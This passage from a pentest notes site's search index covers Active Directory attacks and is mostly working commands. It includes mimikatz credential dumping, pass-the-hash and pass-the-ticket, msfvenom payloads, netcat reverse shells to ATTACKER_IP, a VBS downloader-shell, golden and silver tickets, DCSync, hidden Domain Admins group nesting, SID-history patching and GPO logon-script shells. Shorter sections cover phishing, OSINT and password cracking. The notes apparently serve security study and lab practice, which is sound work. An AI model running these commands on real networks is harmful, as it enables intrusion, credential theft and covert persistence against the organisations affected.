-MethodName StartService\n```\n* Start and stop via\n```sh\nInvoke-CimMethod -InputObject $Service -MethodName StopService\nInvoke-CimMethod -InputObject $Service -MethodName Delete\n```\n\n* __Spawn a remote scheduled task__\n```sh\n$Command = \"cmd.exe\"\n$Args = \"/c net user gabenewell securepassword /add\"\n\n$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args\nRegister-ScheduledTask -CimSession $Session -Action $Action -User \"NT AUTHORITY\\SYSTEM\" -TaskName \"SteamUpdateService\"\nStart-ScheduledTask -CimSession $Session -TaskName \"SteamUpdateService\"\n```\n* Delete task via\n```sh\nUnregister-ScheduledTask -CimSession $Session -TaskName \"SteamUpdateService\"\n```\n\n* __ Install a remote msi package__\n```sh\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=$TARGET_IP LPORT=4711 -f msi -o steam.msi\n```\n* Upload and run via\n```sh\nInvoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = \"C:\\Windows\\steam.msi\"; Options = \"\"; AllUsers = $false}\n```\n* Alternatively on older systems via\n```sh\nwmic /node:TARGET /user:DOMAIN\\USER product call install PackageLocation=c:\\Windows\\steam.msi\n```\n\n## Further Authentication Methods\n\n* NTLM\n* Kerberos\n\n### NTLM\n\n#### __Pass the hash__\n\n* Retrieve and pass a hash generated from the password\n\n* Use mimikatz on local SAM\n```sh\nprivilege::debug\ntoken::elevate\nlsadump::sam\n```\n * Use mimikatz on lsass\n```sh\nprivilege::debug\ntoken::elevate\nsekurlsa::msv\n```\n\n * Open reverse shell via mimikatz\n```sh\ntoken::revert\nsekurlsa::pth /user:<username>\n/domain:<domainname> /ntlm:<hash> /run:\"C:\\Windows\\temp\\nc.exe -e cmd.exe %ATTACKER_IP% 4711\"\n```\n\n* Via RDP\n```sh\nxfreerdp /v:$TARGET_IP /u:DOMAIN\\\\<username> /pth:<ntlm-hash>\n``` \n* Via psexec\n```sh\npsexec.py -hashes <ntlm-hash> DOMAIN/<username>@%TARGET_IP%\n```\n* Kerberos\n```sh\nevil-winrm -i $TARGET_IP -u <username> -H <ntlm-hash>\n```\n\n### Kerberos\n\n* Ticket and session key are needed\n\n#### Pass The Ticket\n\n* Extract via mimikatz\n```sh\nprivilege::debug\nsekurlsa::tickets /export\n```\n* TGS need low privilege account, TGT need administrative privileges\n* Use the ticket to inject into a current session\n```sh\nkerberos::ptt <ticket>@<domain>.kirbi\n```\n\n* Check tickets via `klist`\n\n\n#### Overpass The Hash\n\n* Pass the key: Timestamp to gain TGT is encrypted via an encrypted key\n * Algorithms can be `rc4`, `aes128`, `aes256` or `des` if enabled\n * `rc4` is a pure ntml hash\n* Use the key to gain the TGT \n```sh\nprivilege::debug\nsekurlsa::ekeys\n```\n\n* Open a reverse shell via\n```sh\nsekurlsa::pth /user:Administrator /domain:<domain> /<hash-algorithm>:<hash> /run:\"C:\\Windows\\Temp\\nc.exe -e cmd.exe %ATTACKER_IP% 4711\"\n```\n\n## Writeable Shares\n\n* Find a shortcut, a script or anything that keeps a connection over the network to a share\n\n* Reuse a `*.vbs` via\n```sh\nCreateObject(\"WScript.Shell\").Run \"cmd.exe /c copy /Y \\\\%TARGET_IP%\\share\\nc.exe %tmp% & %tmp%\\nc.exe -e cmd.exe %ATTACKER_IP% 4711\", 0, True\n```\n\n* Reuse and inject into exisiting portable executable\n```sh\nmsfvenom -a x64 --platform windows -x <reused.exe> -k -p windows/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=4711 -b \"\\x00\" -f exe -o <new_reused.exe>\n```\n\n* Reuse RDP session. Administrator can be logged out but did not close the session. Reuse it without a password as administrator user. Therefore run `cmd` or `powershell` as administrator and reuse the session by its name\n```sh\nPsExec64.exe -s cmd.exe\nquery user\n```\n* Check output and fill in\n```sh\ntscon <ID-of-target> /dest:<my-SESSIONNAME>\n```\n* Session state should be `DISC`, a session which was not exited correctly\n* Windows Server < 2019 only without the password\n\n","description":"","tags":[],"title":"Lateral Movement","uri":"/misc/active_directory/lateral_movement.html"},{"content":"Active Directory Misconfigurations\n## Permission Delegation\n\n* Permissions to functions may be delegated as a standard functions itself\n* Privilege creep becomes a problem eventually\n* Discretionary ACLs are controlled by Access Control Entries (ACEs)\n\n### The following ACEs are critical and prone to be exploited\n\n* __GenericAll__, complete control and creation of an object\n* __ForceChangePassword__, change the password of a user and sometimes administrator passwords\n* __AddMembers__, add a user to an existing group\n* __GenericWrite__, update any non-protected parameters of the target, e.g. paths to scripts.\n* __WriteOwner__, change owner of a target object. \n* __WriteDACL__, create new ACEs to an object's DACL\n* __AllExtendendRights__ all control over an object's permission\n\n### Tools to exploit ACEs\n\n* AD-RSAT\n* Powersploit\n\n* BloodHound, check permissions to target\n\n### Usage\n\n* Add user to a group via powershell\n```sh\nAdd-GroupMember \"<GroupName>\" -Members \"<username>\"\n```\n\n* List info about groups, preferably administration groups\n```sh\nGet-ADGroupMember -Identity \"<GroupName>\"\n```\n\n* Set new password for user, afterwards reconnect session\n```sh\n$Password = ConvertTo-SecureString \"password123#\" -AsPlainText -Force \nSet-ADAccountPassword -Identity \"<username>\" -Reset -NewPassword $Password\n```\n\n## Kerberos Delegation\n\n* Unconstrained (without limit) delegation, [exploit](https://medium.com/@riccardo.ancarani94/exploiting-unconstrained-delegation-a81eabbd6976)\n* Constrained delegation\n* Resource based constrained delegation (RBCD), service owner specifies which resources can bind. Set by [msDS-AllowedToActOnBehalfOfOtherIdentity](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)\n\n### Delegatable Services\n\n* __HTTP__\n* __CIFS__\n* __LDAP__\n* __HOST__\n* __MSSQL__\n\n### Usage\n\n* Enumerate via powerview\n```sh\nImport-Module .\\PowerView.ps1\nGet-NetUser -TrustedToAuth\n```\n\n## Automated Relays\n\n### Machine Accounts\n\n* Administrative machine account of one host having administrative permissions over another host\n\n### Printers\n\n* Target has to have an SMB server\n* Spooler, PetitPotam, PrintNightmare are printer exploits\n* Query printer services through a servers domain\n```sh\nGWMI Win32_Printer -Computer <domain>\nGet-PrinterPort -ComputerName <domain>\n```\n* SMB signing may be enabled but must not be enforced in order for the exploit to work, check via\n```sh\nnmap --script smb2-securitymode -p 445 printer.example.com plotter.example.com\n```\n* Start SMB relay on attacker, use IP instead of domain to trigger NTLM auth\n```sh\nntlmrelayx.py -smb2support -t smb://\"$TARGET_IP\" -debug\n```\n* Authenticate on attacker with the credentials already gained from a windows computer \n```sh\nSpoolSample.exe <domain> \"$ATTACKER_IP\"\n```\n* Authenticate with the received credential\n```sh\nntlmrelayx.py -smb2support -t smb://\"$TARGET_IP\" -debug -c 'whoami /all' -debug\n```\n\n## Active Directory Users\n\n### Credentials\n\n### Keylogging\n\n* With a meterpreter shell migrate to an active user's process and set a keylogger\n```sh\nmigrate <processID>\nkeyscan_start\n```\n* To inspect the results\n```sh\nkeyscan_dump\n```\n\n## Group Policy Objects\n\n* Every `GPO` has a `GUID`\n* Local Policies are configured for application rules for FW, Windows-Defender, Applocker\n * Other local policies are group memberships, startup config, protocols\n * Group policies change configuration of these remotely over AD\n* `GPOs` are stored on the `SYSVOL` to be distributed to any machine in the domain\n\n### Usage\n\n* Target is to add the user to either an RDP or SSH group and to connect via this group afterwards\n* Start a `cmd` with a AD user and execute `mmc` through it\n```sh\nrunas /netonly /user:<domain>\\<username> cmd.exe\nmmc\n```\n* Check connection of the `cmd.exe` via \n```sh\ndir \\\\<domain>\\sysvol\n```\n* Click `File` -> Add/Remove Snap-in -> `Group Policy Management` -> `OK`\n* On the left tree do `Group Policy Management` -> `Forest bla` -> `Domains` -> `<domain>` -> `Server` -> `Management Servers` and right click to edit the group\n* On the left tree `Computer Configuration` -> `Policies` -> `Windows Settings` -> `Security Settings` -> right click `Restricted Groups` -> `Add Group` -> name like `IT Support` -> edit the group and Add `Administrators` and `Remote Desktop Users` groups\n\n## Certificates\n\n* [AD Certificate Services](./AD_CS.md)\n\n## Domain Trusts\n\n* Domain Trusts offer access to resources to users in the domain\n * Directional, from trusted domain to another truster domain\n * Transitive, beyond more than just one other domain\n\n\n* Pwn parent child relationship between directional domain trusts via krbtgt and a golden ticket\n* `krbtgt` as an account signs and encrypts TGTs\n* Crafting a golden ticket by becoming a TGS. Following info is needed\n * FQDN\n * Security identifier of the domain (SI)\n * Target's username\n * __KRBTGT password hash__ store on the DC\n\n### Usage\n\n* `KRBTGT` via Mimikatz, resulting in `Hash NTLM`\n```sh\nprivilege::debug\nlsadump::dsync /user:<username\\kbtgt>\n```\n* Craft the ticket with the help of this hash\n\n* Alternatively, InterRealm TGTs are used to get resources between domains in order to pwn the parent by adding the Enterprise Admin group as an extraSID,commonly this is `S-1-5-21-<RootDomain>-519`\n* SID of Child DC is needed, as well as the SID of the Enterprise Admin in the parent domain\n* Get child SIDs via\n```sh\nGet-ADComputer -Identity \"<DCChildCN>\"\n```\n* Get parent SID via\n```sh\nGet-ADGroup -Identity \"Enterprise Admins\" -Server <domain>\n```\n* Include additional SIDs from other domains into `KERB_VALIDATION_INFO` via Mimikatz\n```sh\nprivilege::debug\nkerberos golden /user:Administrator /domain:<child.domain> /sid:<ChildSID> /service:kbtgt /rc4:<NTLMHash of krbtgt> /sids:<Enterprise Admin group SID> /ptt\nexit\ndir \\\\DCdomain\\dir$\ndir \\\\Parentdomain\\dir$ \n```\n","description":"","tags":[],"title":"Active Directory Misconfigurations","uri":"/misc/active_directory/ad_misconfiguration.html"},{"content":"Active Directory Persistance\n\n## Using Credentials\n\n* __Knowledge Consistency Checker (KCC)__ replicates credentials through the forest \n* __DC Synchronisation__ is the process of syncing credentials between domain controllers, it can be used to gather credentials\n * Credentials for multiple local administrators\n * Service account with delegation permissions\n * __Service accounts with high AD permissions__, Windows Server Update Services (WSUS), System Center Configuration Manager (SCCM)\n\n### Usage\n\n* Use mimikatz\n```sh\nlsadump::dcsync /domain:<domain> /user:<username>\n```\n* To query the krbtgt user\n```sh\nlsadump::dcsync /domain:<domain> /user:krbtgt.<domain>\n```\n* Query everything\n```sh\nlsadump::dcsync /domain:<domain> /all\n```\n\n## Using Tickets\n\n* __Golden Ticket__ crafted TGT, \n * Needs domain name, domain SID and a user ID to impersonate\n * Needs krbtgt NTLM to sign the ticket\n * krbtgt hash never rotates automatically, only refreshed manually\n * krbtgt hash bypasses smart cards\n * TGT can not be older than 20 minutes\n * TGT lifetime can be set to years\n * TGT can be signed anywhere as long as the krbtgt hash is known\n\n* __Silver Ticket__ crafted TGS\n * Signed by targeted service account on a host\n * DC is never contacted, no contact to any TGT or KDC\n * Non existing user can be used with a local admin group's SID\n\n### Usage \n\n* Craft a golden ticket\n```sh\nGet-ADDomain\n```\n```sh\nkerberos::golden /admin:MyLittleAdministrator /domain:<domain> /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /ptt\n```\n\n## Using Certificates\n\n* Private key extraction via mimikatz which makes it exportable\n```sh\ncrypto::certificates /systemstore:local_machine\nprivilege::debug\ncrypto::capi\ncrypto::cng\ncrypto::certificates /systemstore:local_machine /export\n```\n* Password of the certificate is `mimikatz` afterwards\n* Use [ForgeCert](https://github.com/GhostPack/ForgeCert) to create certificate\n```sh\nForgeCert.exe --CaCertPath <domain>.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@<domain> --NewCertPath Administrator.pfx --NewCertPassword SecretPassword\n```\n*\n* Use Rubeus to request the TGT via\n```sh\nRubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:<domain> /dc:<IP of domain controller>\n```\n* Load the TGT via mimikatz\n```sh\nprivilege::debug\nkerberos::ptt administrator.kirbi\ndir \\\\<dc.example.com>\\C$\\\n```\n\n## Using SID History\n\n* Account logs on -> associated SIDs (group SIDs) added to the user's token -> permissions are set in this way\n* SIDs of controlled accounts may be added to the history\n* Add Administrator group to the associated SIDs / the token\n* `ntds.dit` stores all AD info\n* User does not come up on checking groups, the user stays hidden unless searched for explicitly\n\n### Usage\n\n* Check SID history\n```sh\nGet-ADUser <your ad username> -properties sidhistory,memberof\n```\n* Check SID of domain admins\n```sh\nGet-ADGroup \"Domain Admins\"\n```\n* Use [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) to patch `ntds.dit`\n```sh\nStop-Service -Name ntds -force\nAdd-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:\\Windows\\NTDS\\ntds.dit \nStart-Service -Name ntds\n```\n* Verify users SIDs\n```sh\nGet-ADUser <username> -Properties sidhistory \ndir \\\\<dc.example.com>\\C$\\\n```\n\n## Using Group Memberships\n\n* Most are monitored security wise\n* Interesting group for persistence are \n * `IT Support`\n * Local administrational accounts\n * Groups with ownership over GPO\n* Nested groups are used to organize an AD\n * `Helpdesk`, `Network Manager` is a nested group of `IT Support`\n* Joining a nested groups is not as alerting as joining a more general group\n\n### Usage\n\n* Create a new subgroup\n```sh\nNew-ADGroup -Path \"OU=IT,OU=People,DC=<SUBDC>,DC=<DOMAIN>,DC=COM\" -Name \"<username> Steam Network 1\" -SamAccountName \"<username>_steam_network1\" -DisplayName \"<username> Steam Network 1\" -GroupScope Global -GroupCategory Security\n```\n* And nesting another one\n```sh\nNew-ADGroup -Path \"OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC\" -Name \"<username> Steam Network 2\" -SamAccountName \"<username>_steam_network2\" -DisplayName \"<username> Steam Network 2\" -GroupScope Global -GroupCategory Security \n\nAdd-ADGroupMember -Identity \"<username>_steam_network2\" -Members \"<username>_steam_network1\"\n```\n\n* Do it a couple of times again and add the last group to Domain Admins\n```sh\nAdd-ADGroupMember -Identity \"Domain Admins\" -Members \"<username>_2\"\n```\n\n* Add the low priv user to the first group\n```sh\nAdd-ADGroupMember -Identity \"<username>_steam_networks1\" -Members \"<low privileged username>\"\n```\n\n* And check\n```sh\ndir \\\\<domain>\\c$\\\n```\n* Verify nested group\n```sh\nGet-ADGroupMember -Identity \"Domain Admins\"\n```\n\n## Using ACLs\n\n* AD group templates like `AdminSDHolder` can be used to copy its ACL through the AD's protected groups\n * Domain Admins\n * Administrators \n * Enterprise/Schema Administrator\n* SDProp as a process maps the ACLs to protected groups every hour\n\n## Usage\n\n* `runas /netonly /user:Administrator cmd.exe` and therein open `mmc`\n* File -> Add Snap-In -> Active Directory Users and Groups\n* View -> Advanced Features\n* AdminSDHolder group in Domain -> System\n* Right click the group -> Properties -> Security -> Add user and Check Names -> OK -> Allow on Full Control -> Apply -> OK\n\n* Add the user to other groups with the new propagated permissions\n\n## Using GPOs\n\n* Restricted Group Memberships, admin access to every host in the domain\n* Logon Script Deployment, get a shell when a user logs in\n\n### Usage\n\n* Craft a portable executable shell via meterpreter\n* Craft a batch script\n```sh\ncopy \\\\<domain>\\sysvol\\<subdomain>\\scripts\\shell.exe C:\\windows\\tmp\\_shell.exe && timeout /t 20 && C:\\windows\\tmp\\shell.exe\n```\n* Copy both to the sysvol\n* `runas /netonly /user:Administrator cmd.exe` and therein open `mmc`\n* File -> Add/Remove Snap-in -> Group Policy Management -> Add -> OK\n* Right click Admins OU -> Create GPO in the domain -> link it -> name it\n* Right click created policy -> Enforced\n* Right click created policy -> edit -> User Configuration / Policies -> Window Settings -> Scripts (logon/logoff)\n* Right click Logon -> Properties -> Scripts tab -> Add -> Browse\n* Select the previously created batch script and PE\n* Catch the shell when an admin logs on\n\n* Once again open mmc \n* Right click Enterprise Domain Controllers -> Edit settings, delete, modify security\n* Click on every other group except Authenticated Users and remove them\n\n* Add -> `Domain Computers` -> check names - OK\n* Read Permissions -> OK -> Authenticated Users -> Remove\n","description":"","tags":[],"title":"Active Directory Persistance","uri":"/misc/active_directory/ad_persistence.html"},{"content":"Active Directory Certificate Service ADCS\n* Internal CA\n* PKI\n* File system encryption\n* Digital signatures\n* User authentication\n\n* __Certificates will not be revoked after account password reset__\n\n## Certificate Templates\n\n* Extended/Enhanced Key Usage (EKU)\n* Parameter combination can be exploited\n* User Certificates may be requested from a member of a Domain User Group\n* Machine Certifcates may be requested from a host of a Domain Computer Group \n\n### Enumeration\n\n* [PSPKIAudit](https://github.com/GhostPack/PSPKIAudit)\n\n```sh\ncertutil -v -template > ct.txt\n```\n\nExploitable templates should have the following traits:\n* `Allow Enroll` or `Allow Full Control` permissions to request certificate\n * Find groups by `net user <username> /domain` --> `Domain Users`, `Domain Computers`\n* Client authentication EKU for Kerberos authentication --> `Client Authentication`\n* Permission to subject alternative name (SAN), e.g. URL to encrypt. Used to create Kerberos ticket, --> `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`\n \n### Certificate Creation\n\n* `Win+R` --> `mmc` --> `File` --> `Add/Remove Snap-in` --> `Certificates` (Request Certificate if administration account --> Computer Account)\n* After that in the main menu, `Certificates` --> right click on `Personal` --> `All Tasks` --> `Request Certificates` --> `Next` --> `Next` --> `More information is required to enroll this certificate` --> `Common Name` --> `CN=concerto` && `User Principal Name` is the user to impersonate --> `OK` --> select `User Request` --> `Enroll`\n* After that in the main menu, `Personal` --> `Certificates` --> __The certificate__\n* Right click certificate --> `All Tasks` --> `Export` --> `Yes, export private key` --> `PFX` --> set `Password` --> Save\n\n### Impersonation \n\n* Request TGT with the created cert\n* Grab TGT\n\n* On the machine via\n```sh\nRubeus.exe asktgt /user:<user (UPN) of cert> /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to.kirbi> /domain:<domain name> /dc:<IP of domain controller>\n```\n* Select a domain admin via opening `Active Directory Users and Computers`\n```sh\n.\\Rubeus.exe changepw /ticket:<ticketfilename> /new:<new password> /dc:<domain of controller> /targetuser:<domain>\\<dauser>\n```\n* `runas /user:<domain>\\<username of DA> cmd.exe`\n\n* Alternatively, load the outfile of rubeus via mimikatz to authenticate as the impersonated user on a remote domain\n```sh\nprivilege::debug\nkerberos::ptt <name of file to write TGT to.kirbi>\nexit\ndir \\\\<domain>\\<dir>$\\\n```\n\n## CVE-2022-26923\n\n* Aims on abusing templates configuration, the Subject Alternative Name `SAN`. Set it to someone with higher permissions\n* User and Machine certificate templates\n* User Principal Name is used for `SAN`, this template can not be modified in a way to escalate privileges\n* Computer accounts DNS name is used for `SAN`\n* Users of the Authenticated Users Group can create 10 Machine Certificates\n* __DNS hostname__ is used for authentication\n* __Service Principal Names (SPN)__, associates a service logon with a service instance. SPNs are unique\n* Permissions of interest, all two are needed\n * Validate write to DNS hostname allows to update DNS hostname of AD object associated with the host\n * Validate write to SPN, update SPN of the AD object associated with the host\n\n### Usage\n\n* User account has to be compromised, use it to enrol a new host on the domain\n* Alter the DNS hostname attribute of the AD Object to one of a Domain Controller or other higher privilege\n* Remove the SPN attribute to bypass the unique SPN\n* With the default template request the machine cert\n* authenticate via Kerberos with the template as the higher privileged machine\n\n","description":"","tags":[],"title":"Active Directory Certificate Service ADCS","uri":"/misc/active_directory/AD_CS.html"},{"content":"Active Directory - Gain Foothold\n* Methods of aquiring the first set of credentials\n\n\n## Aquire credentials\n\n### OSINT\n\n* Discover info about the target via\n * Questions asked on Stack Overflow\n * Credentials set in (github) repos\n * Past breaches, [haveIbeenpwned](https://haveibeenpwned.com/), [DeHashed](https://www.dehashed.com/)\n\n### Phishing \n\n* Gain credentials via eMail\n\n## NTLM Authenticated Services\n\n* Windows Authentication on NetNTLM is a Challenge-Response protocol used to deliver a challenge and the result on behalf of a user -- through the application -- to the DC \n* These may be exposed to the Internet. For example\n * Mail exchange, OWA webmail\n * RDP\n * VPN endpoints\n * Web applications using something like SSO via AD\n\n* Use these applications to either brute force / spraying passwords to found IDs or to verify previously aquired IDs and their passwords \n \n## LDAP Bind Credentials\n\n* LDAP may be integrated into an AD Forest. An application may verify an LDAP account with the help of AD credentials at the DC.\n* Third party programs may use LDAP like\n * CUPS\n * VPNs\n * gitlab\n\n### LDAP Pass-Back\n\n* After gaining access to a device's config including LDAP parameters, reroute its IP to your own IP. This may be done via web UIs.\n* Use an LDAP server to catch the credentials. Only PLAIN and LOGIN authentication must be allowed in order to gain the credentials.\n * OpenLDAP\n```sh\ndpkg-reconfigure -p low slapd\n```\n * Skip reconfiguration -> No\n * Insert DNS domain and organisation\n * Provide password\n * Select `MDB` as database\n * No removal when db is purged\n * Move old database when creating a new one\n * Downgrade authentication via `*.ldif` file\n```sh\ndn: cn=config\nreplace: olcSaslSecProps\nolcSaslSecProps: noanonymous,minssf=0,passcred\n```\n * Patch and reload ldap\n```sh\nsudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart\n```\n * Check via\n```sh\nldapsearch -H ldap:// -x -LLL -s base -b \"\" supportedSASLMechanisms\n```\n* Make pcap via tcdump\n\n## Authentication Relay\n\n* Communcating services inside the network verify authentication of each other\n* Intercept NTLM hashes send for example via `SMB` auth, or do a MITM\n* Use responder poisons requests gained from \n * __Link-Local Multicast Name Resolution__ (LLMNR)\n * __NetBIOS Name Server__ (NBT-NS), send before LLMNR\n * __Web Proxy Auto-Discovery__ (WPAD), finds proxies for future HTTP connections\n\n### Capture via responder\n* Run responder on LAN via\n```sh\nsudo responder -I <interface>\n```\n* Use `hashcat` to crack the hashes\n```sh\nhashcat -m 5600 hash.txt rockyout.txt --force\n```\n\n### Relay via responder\n\n* `SMB` signing must not be enforced, either on or off\n* Done after some intial enumeration and to gain administrative accounts\n\n## Microsoft Deployment Toolkit (MDT)\n\n* Deploy and patch software remotely\n* Used in conjuction with Microsoft's System Center Configuration Manager (SCCM)\n\n### Preboot Execution Environment (PXE)\n\n* [Read this](https://www.riskinsight-wavestone.com/en/2020/01/taking-over-windows-workstations-pxe-laps/)\n\n* Load and install OS via network\n* `MDT` provisions PXE boot images\n* An IP gained via `DHCP` is the validation step, PXE will be delivered by `MDT`\n* Retrieve/enumerate images via `TFTP`\n\n* Create an admin account after OS installation\n* Password scraping to recover AD creds used during OS installation\n\n* Use `PowerPXE.ps1` to extract `*.bcd` files\n\n\n## Configuration Files\n\n* Configurations of services and applications as well as registry keys\n* Use enumeration scripts like `winpeas.sh` or `seatbelt`\n","description":"","tags":[],"title":"Active Directory - Gain Foothold","uri":"/misc/active_directory/gaining_foothold_AD.html"},{"content":"Enumerate Active Directory\nEnumeration following after initial credentials are gained\n\n\n## SYSVOL\n\n* On windows use `runas` and gain local administrative permissions via\n```sh\nrunas.exe /netonly /user:%FQDNORNETBIOSDOMAIN%\\%USERNAME% cmd.exe\n```\n* Check validity of credentials against `SYSVOL`, it stores __Group Policy Objects (GPO)__. Every AD account will gain access\n * Query DNS, for example the DC\n```sh\n$dnsip = \"<DC IPaddress>\"\n$index = Get-NetAdapter -Name '<Ethernet>' | Select-Object -ExpandProperty 'ifIndex'\nSet-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip\n```\n * Check `SYSVOL` afterwards via `hostname` to verify via Kerberos auth\n```sh\ndir \\\\%HOSTNAME%\\SYSVOL\\\n```\n * Check `SYSVOL` via `IP` address to force `NTLM` authentication\n\n## Microsoft Management Console (MMC)\n\n* Use AD Snap-ins of `Remote Server Administrative Tools`\n * Start -> Apps & Features -> Manage Optional Features -> Add a feature -> Search `RSAT` -> Select `RSAT: Active Directory Domain Services and Lightweight Directory Tools` -> Install\n * `Win` + `r` -> `MMC` -> File -> Add/Remove Snap-in -> add 3 AD feature snap-ins -> right click `Active Directory Sites and Services` -> `Change Forest` -> Add root domain -> right click `Active Directory Users and Computers` -> Change Domain -> enter root domain -> right click `Active Directory Users and Computers ` -> View -> Advanced Features\n * Start enumerating via click on the domain object in the tree on the left\n * Take a look at `People` directory -> right click on them to see properties\n * Change or create user or change groups \n * Also use `MMC` to enumerate \n\n## CMD enumeration\n\nExecute from domain joined machine\n\n* Users\n```sh\nnet user /domain\n```\n* Specific user\n```sh\nnet user <username> /domain\n```\n* Groups\n```sh\nnet group /domain\n```\n* Specific group\n```sh\nnet group <groupname> /domain\n```\n* Password Policy via accounts\n```sh\nnet accounts /domain\n```\n\n## Powershell Cmdlets\n\n* User details via\n```sh\n Get-ADUser -Identity <username> -Server <fqdn/or/DCdomain> -Properties *\n```\n* Groups\n```sh\nGet-ADGroup -Identity Administrators -Server exampleDC.com -Properties *\n```\n* Group membership\n```sh\nGet-ADGroupMember -Identity Administrators -Server exampleDC.com\n```\n* Generic AD objects\n```sh\nGet-ADObject -Filter <filterstuff> -includeDeletedObjects -Server exampleDC.com\nGet-ADObject -Filter 'badPwdCount -gt 0' -Server exampleDC.com\n```\n* Domains\n```sh\n Get-ADDomain -Server exampleDC.com\n``` \n\n## Sharphound and Bloodhound\n\n* [BloodHound documentation](https://bloodhound.readthedocs.io/en/latest/index.html#)\n\n* Change to AD user via `runas.exe` and collect via one of the following\n * Sharphound.ps1\n * sharphound.exe\n * Azurehound.ps1\n \n* For example\n```sh\nSharphound.exe --CollectionMethods <Default/Session/All> --Domain example.com --ExcludeDCs\n```\n* After some time collect the current sessions via\n```sh\nSharphound.exe --CollectionMethods Session --Domain example.com --ExcludeDCs\n```\n* Start neo4j db\n```sh\nneo4j console start\n```\n* Start bloodhound\n```sh\nbloodhound --no-sandbox\n```\n* Drag and Drop the zip file from Sharphound\n* Either search for AD objects and use `Analysis` to find an attack path through the info on the edges\n* Shows exploitable accounts in the `Analysis` tab, for example kerberroastable accounts\n\n## LDAP\n\n## PowerView \n\n## WMI\n","description":"","tags":[],"title":"Enumerate Active Directory","uri":"/misc/active_directory/ad_enumeration.html"},{"content":"theharvester\n[Homepage](https://github.com/laramies/theHarvester)\n[Repo](https://gitlab.com/kalilinux/packages/theharvester.git)\n","description":"","tags":[],"title":"theharvester","uri":"/osint/theharvester.html"},{"content":"recon-ng\n[Homepage](https://github.com/lanmaster53/recon-ng)\n[Repo](https://salsa.debian.org/pkg-security-team/recon-ng)\n","description":"","tags":[],"title":"recon-ng","uri":"/osint/recon_ng.html"},{"content":"Spiderfoot\n* OSINT online spider\n* [Repo & releases](https://github.com/smicallef/spiderfoot.git)\n* Start server locally via \n```sh\npython sf.py -l 127.0.0.1:5000\n```\n","description":"","tags":[],"title":"Spiderfoot","uri":"/osint/spiderfoot.html"},{"content":"Phishing Domains\n* Use an old, unused domain.\n* Typosquatting, register a similar domain.\n* Use similar looking chars from unicode.\n","description":"","tags":[],"title":"Phishing Domains","uri":"/osint/social_engineering/phishing_domain.html"},{"content":"Gophish\n* [Repo](https://github.com/gophish/gophish.git)\n\n## Usage\n\n* Create \n * Send profile\n * Landing page\n * Email templates\n * User groups\n * New Campaign\n","description":"","tags":[],"title":"Gophish","uri":"/osint/social_engineering/gophish.html"},{"content":"Hashcat Utilities\n* Combine wordlists\n```sh\ncombinator wordlist.txt otherwordlist.txt > newwordlist.txt\n```\n\n* Create wordlist\n```sh\nhashcat --force <input.txt> -r /opt/hashcat/rules/best64.rule --stdout > wordlist.txt\n```\n","description":"","tags":[],"title":"Hashcat Utilities","uri":"/hashes/hashcat_utils.html"},{"content":"haiti\n* Hash Identifier\n```sh\nhaiti <hash>\n```\n","description":"","tags":[],"title":"haiti","uri":"/hashes/haiti.html"},{"content":"Generate Wordlists\n* [username_generator](https://github.com/therodri2/username_generator.git)\n* [CeWL](../enumeration/CeWL/README.md)\n* [Mentalist](https://github.com/sc0tfree/mentalist.git)\n* [lyricpass](https://github.com/initstring/lyricpass.git)\n* [pnwgen phonenumbers](https://github.com/toxydose/pnwgen.git)\n\n\n## Cupp\n\n* [cupp](https://github.com/Mebus/cupp.git)\n * Interactive dialogue via `cupp.py -i`\n * Wordlistdownload via `cupp.py -l`\n * Connections to alecto DB via `-a`\n\n## crunch\n\n```sh\ncrunch <minlen> <maxlen> <charPool> -o <output.file>\n```\n\n* Option `-t` specifies variable characters\n * `@`, lower case alpha characters\n * `,`, upper case alpha characters\n * `%`, numeric characters\n * `^`, special characters including space\n```sh\ncrunch 8 8 -t passw%%rd\n```\n\n## ttpassgen \n* [ttpassgen](https://github.com/tp7309/TTPassGen.git)\n* Generate lists from the ground up\n* `pip install ttpassgen`\n```sh\nttpassgen --rule '[?d]{6:6:*}' 6digitpins.txt\n```\n```sh\nttpassgen --rule '[?l]{1:5:*}' all_letter_combinations.txt\n```\n```sh\nttpassgen --dictlist \"in.txt,in2.txt\" --rule '$0[_]?$1' -s \" \" out.txt\n```\n\n# exrex\n\n* Generate all possible outcomes from regex string\n","description":"","tags":[],"title":"Generate Wordlists","uri":"/hashes/generate_wordlists.html"},{"content":"SMB Response Request\n* Network traffic of the SMB handshake is needed\n* Fields are\n * username\n * domain\n * server challenge\n * ntproofstring\n * NTLMv2Response with ommited hex of type like 'ntlmProofStr' at the start\n\n## Usage \n\n* Format the fields\n```sh\nusername::domain:serverChallenge:ntproofstring:NTLMv2Response\n```\n\n* Use john to decrypt\n \n","description":"","tags":[],"title":"SMB Response Request","uri":"/hashes/password_cracking/smb_challenge.html"},{"content":"John The Ripper\n* [Formats](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)\n\n# Usage \n\n* Example\n```sh\njohn --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt ./hash.txt --format=raw-sha256 --fork=2\n```\n\n## Declaring Structure\n* List subformat\n```sh\njohn --list=subformats\n```\n```sh\njohn --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt ./hash.txt --format=dynamic_85 --fork=2\n```\n\n## Rules\n* [Rule syntax](https://www.openwall.com/john/doc/RULES.shtml)\n* Create a local rules file, e.g. `/etc/john-local.conf` or `/usr/share/john/john-local.conf`\n* Create config for mutations, e.g. border mutation 